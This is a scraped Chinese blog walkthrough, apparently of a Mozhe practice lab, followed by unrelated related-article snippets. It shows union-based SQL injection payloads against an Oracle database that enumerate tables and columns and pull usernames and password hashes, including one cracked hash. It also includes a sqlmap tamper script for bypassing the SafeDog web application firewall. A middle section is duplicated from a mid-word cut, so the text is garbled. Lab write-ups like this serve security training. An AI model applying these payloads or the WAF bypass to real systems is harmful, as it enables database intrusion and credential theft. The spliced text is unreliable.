1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner<>'SYS' and ower<>'OUTLN'),'2' from dual

5、查询表名

1 and 1=2 union select '1',table_name from user_all_tables where rownum=1

LOGMNR_PARAMETER$

1 and 1=2 union select '1',table_name from user_all_tables where rownum=1 and table_name<>'LOGMNR_PARAMETER$'

LOGMNR_SESSION$

1 and 1=2 union select '1',table_name from user_all_tables where rownum=1 and table_name<>'LOGMNR_PARAMETER$' and table_name<>'LOGMNR_SESSION$'

MVIEW$_ADV_WORKLOAD

1 and 1=2 union select '1',table_name from user_all_tables where rownum=1 and table_name<>'LOGMNR_PARAMETER$' and table_name<>'LOGMNR_SESSION$' and table_name<>'MVIEW$_ADV_WORKLOAD'

MVIEW$_ADV_BASETABLE

。。。。。。

这里由于表太多,我们直接使用模糊查询

1 and 1=2 union select (select table_name from user_all_tables where rownum=1 and table_name like '%user%'),'2' from dual

sns_users

1 and 1=2 union select (select table_name from user_all_tables where rownum=1 and table_name like '%user%' and table_name<>'sns_users'),'2' from dual

发现只有这一张表

6、查询字段名

1 and 1=2 union select '1',column_name from user_tab_columns where rownum=1 and table_name='sns_users'

USER_NAME

1 and 1=2 union select '1',column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME'

USER_PWD

1 and 1=2 union select '1',column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME' and column_name<>'USER_PWD'

STATUS

。。。。。

7、查询数据

1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

最后这里需要加上" ",双引号,应该是Oracle数据库的规则。

得到账号密码

zhong

1c63129ae9asc60asdua94d3e00495

这里有一个坑就是,这个不是真的墨者账号密码,还需要继续查数据

1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME<>'zhong'

hu

1c63129ae9db9g20asdua94d3e00495

1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME<>'zhong' and USER_NAME<>'hu'

mozhe

0ca941b2a38e53adf2dd32fb7d8dffbf md5解密之后(229780)

得到真正的账号密码

5、sqlmap棒打安全狗

Python脚本如下:

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Bypass SafeDog

    """
    if '--' in payload:
        payload = payload.split('--')[0]

    return '/*!50001-- qwe/*%0a'+payload+'*/' if payload else payload

R_PWD

1 and 1=2 union select '1',column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME' and column_name<>'USER_PWD'

STATUS

。。。。。

7、查询数据

1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

最后这里需要加上" ",双引号,应该是Oracle数据库的规则。

得到账号密码

zhong

1c63129ae9asc60asdua94d3e00495

这里有一个坑就是,这个不是真的墨者账号密码,还需要继续查数据

1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME<>'zhong'

hu

1c63129ae9db9g20asdua94d3e00495

1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME<>'zhong' and USER_NAME<>'hu'

mozhe

0ca941b2a38e53adf2dd32fb7d8dffbf md5解密之后(229780)

得到真正的账号密码

5、sqlmap棒打安全狗

Python脚本如下:

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Bypass SafeDog

    """
    if '--' in payload:
        payload = payload.split('--')[0]

    return '/*!50001-- qwe/*%0a'+payload+'*/' if payload else payload

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/708762.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatglm2 本地部署中遇到的问题

在本地GPU部署的时候&#xff0c;发现了报错&#xff0c; ModuleNotFoundError: No module named transformers_modules.chatglm2-6b 但是自己路径都是正确的&#xff0c; 确实是按照双斜杠来写的路径。 但依旧报错 最后发现是安装的 transformers 包的版本太新导致的。 …

抖音SEO账号矩阵系统源码

一、抖音SEO账号矩阵系统源码思路 1. 数据采集与分析 2. 排名算法设计 3. 用户管理模块 4. 内容推荐系统 二、抖音矩阵系统源码功能概述 &#xff08;1&#xff09;多平台多账号管理,支持抖音&#xff0c;快手&#xff0c;好看视频&#xff0c;B站&#xff0c;西瓜&#x…

jdbc获取数据库元数据信息

DatabaseMetaData 接口&#xff1a; 获取数据库&#xff0c;&#xff0c;&#xff0c;表&#xff0c;&#xff0c;列&#xff0c;&#xff0c;等元数据信息 jdbc使用&#xff1a; // 获取一个连接 Connection connection DriverManager.getConnection(url,username,password)…

葡萄酒数据可视化分析

葡萄酒数据可视化分析 必应壁纸供图 数据集&#xff1a;https://download.csdn.net/download/weixin_53742691/87982219 import pandas as pd import seaborn as sns import matplotlib.pyplot as pltwine pd.read_csv("wine_quality/wine_edited.csv") wine.hea…

chatgpt赋能python:用Python来制作动画

用Python来制作动画 Python是一种高级编程语言&#xff0c;可以用于许多任务&#xff0c;包括数据分析、网络编程&#xff0c;甚至是制作动画。在这篇文章中&#xff0c;我们将讨论如何使用Python来制作动画。 Python中的动画库 Python中有许多用于制作动画的库。其中最流行…

论文笔记--Goat: Fine-tuned LLaMA Outperforms GPT-4 on Arithmetic Tasks

论文笔记--Goat: Fine-tuned LLaMA Outperforms GPT-4 on Arithmetic Tasks 1. 文章简介2. 文章概括3 文章重点技术3.1 LLM的选择3.2 算数任务的可学习性(learnability)3.3 大模型的加减乘除 4. 数值实验结果5. 文章亮点6. 原文传送门7. References 1. 文章简介 标题&#xff…

选读SQL经典实例笔记01_检索和排序

1. 在WHERE子句中引用别名列 1.1. 当表里的某些列没有被恰当命名的时候&#xff0c;这个技巧尤其有用 1.2. sql select sal as salary, comm as commissionfrom empwhere salary &#xff1c; 5000 1.3. 内嵌视图 1.3.1. sql select *from (select sal as salary, comm …

按 DDD 设计这个新项目

一、专业术语 各种服务 IAAS&#xff1a;基础设施服务&#xff0c;Infrastructure-as-a-service PAAS&#xff1a;平台服务&#xff0c;Platform-as-a-service SAAS&#xff1a;软件服务&#xff0c;Software-as-a-service 二、架构演变 图片 从图中已经可以很容易看出架…

R 语言 ggplot2 PCA 主成分分析(虚拟数据集)

生成虚拟数据集 library(ggplot2)data.matrix <- matrix(nrow 100, ncol 10)colnames(data.matrix) <- c(paste("wt",1:5,sep ""),paste("ko",1:5,sep "") )rownames(data.matrix) <- paste("gene",1:100,sep…

vue安装|win11系统

1.安装node.js https://nodejs.org/en/download 下载对应系统对应位数的.msi文件&#xff0c; 下载完成后&#xff0c;一直点击next进行安装 自定义安装路径&#xff0c;我的安装路径为**“D:\nodejs”** # 检查node.js版本 node -V# 检查npm版本 npm -V在D:\nodejs下新建两…

DataGrip连接clickhouse

首先保证ClickHouse启动了&#xff1a; 先建一个工程&#xff1a; 建立数据库源连接&#xff1a; 用户名和密码可以不写&#xff1a; 添加ClickHouse驱动&#xff1a;最好不用自己下载的驱动&#xff0c;会出现一些错误以及连接失败&#xff0c;用在线下载的。 选择一个版…

《深入浅出SSD:固态存储核心技术、原理与实战》----学习记录(三)

第3章 SSD存储介质&#xff1a;闪存 3.1 闪存物理结构 3.1.1 闪存器件原理 1978年诞生的世界上第一块固态硬盘就是基于DRAM的。但由于保存在DRAM中的数据有掉电易失性&#xff0c;当然还有成本因素&#xff0c;所以现在的固态硬盘一般都不采用DRAM&#xff0c;而是使用闪存…

JS对象的浅拷贝与深拷贝

一. 浅拷贝 定义&#xff1a;浅拷贝是按位拷贝对象&#xff0c;它会创建一个新对象&#xff0c;这个对象有着原始对象属性值的一份精确拷贝。如果属性是基本类型&#xff0c;拷贝的就是基本类型的值&#xff1b;如果属性是内存地址&#xff08;引用类型&#xff09;&#xff0c…

DETRs Beat YOLOs on Real-time Object Detection论文详解

论文题目&#xff1a;DETRs Beat YOLOs on Real-time Object Detection 论文地址&#xff1a;https://arxiv.org/abs/2304.08069 论文代码&#xff1a;mirrors / facebookresearch / ConvNeXt GitCode 等我毕业再打败吧&#xff0c;别打败YOLO&#xff0c;广大研究生们不同…

ROS:通信机制实操

目录 ROS&#xff1a;通信机制一、话题发布实操1.1需求1.2分析1.3实现流程1.4实现代码1.4.1C版1.4.2Python版 1.5执行 二、话题订阅实操2.1需求2.2分析2.3流程2.4实现代码2.4.1启动无辜GUI与键盘控制节点2.4.2C版 ROS&#xff1a;通信机制 一、话题发布实操 1.1需求 编码实现…

Airtest:Windows桌面应用自动化测试一

Airtest&#xff1a;Windows桌面应用自动化测试一 一、为什么选择Airtest?二、官方文档三、环境搭建四、简易操作1、模拟双击桌面应用2、连接应用窗口&#xff08;1&#xff09;嵌入方式连接&#xff08;2种方式连接应用窗口&#xff09;&#xff08;2&#xff09;非嵌入方式连…

设计模式学习之代理模式

设计模式系列往期文章 设计模式学习之策略模式设计模式学习之策略模式在前端的应用设计模式学习之简单工厂模式设计模式学习之工厂方法模式设计模式学习之抽象工厂模式设计模式学习之策略模式和简单工厂模式的对比设计模式学习之观察者模式设计模式学习之模板方法模式 代理模…

怎么把录音转文字?录音转文字怎么操作

以前在采访过程中&#xff0c;总是需要及时记录采访者的回答&#xff0c;并把这些回答准确地记录到笔记本上。然而手写记录不仅效率低下&#xff0c;还可能因为笔迹潦草而导致记录错误。 后来在前辈的指导下&#xff0c;我才知道可以使用录音转文字工具来解决这些问题&#xf…

[安洵杯 2019]game

前言 llvm混淆&#xff0c;第一次接触到&#xff0c;没找到可以直接反混淆的工具&#xff0c;但看了相关知识后&#xff0c;发现有效代码依旧是原有的那一小部分&#xff0c;所以可以直接看有意义的部分代码&#xff0c;有时间好好了解下吧 代码分析 v8是我们输入的&#xff…

设计模式篇(Java):适配器模式

设计模式篇(Java)&#xff1a;建造者模式 八、适配器模式 8.1 适配器模式基本介绍 生活中的适配器例子 比如生活中的插座&#xff0c;在不同国家插座有着不同的规格&#xff0c;如果我们从一个国家去另外一个国家需要使用插座时就需要一个中间转换器把两种不同规则的插座适配一…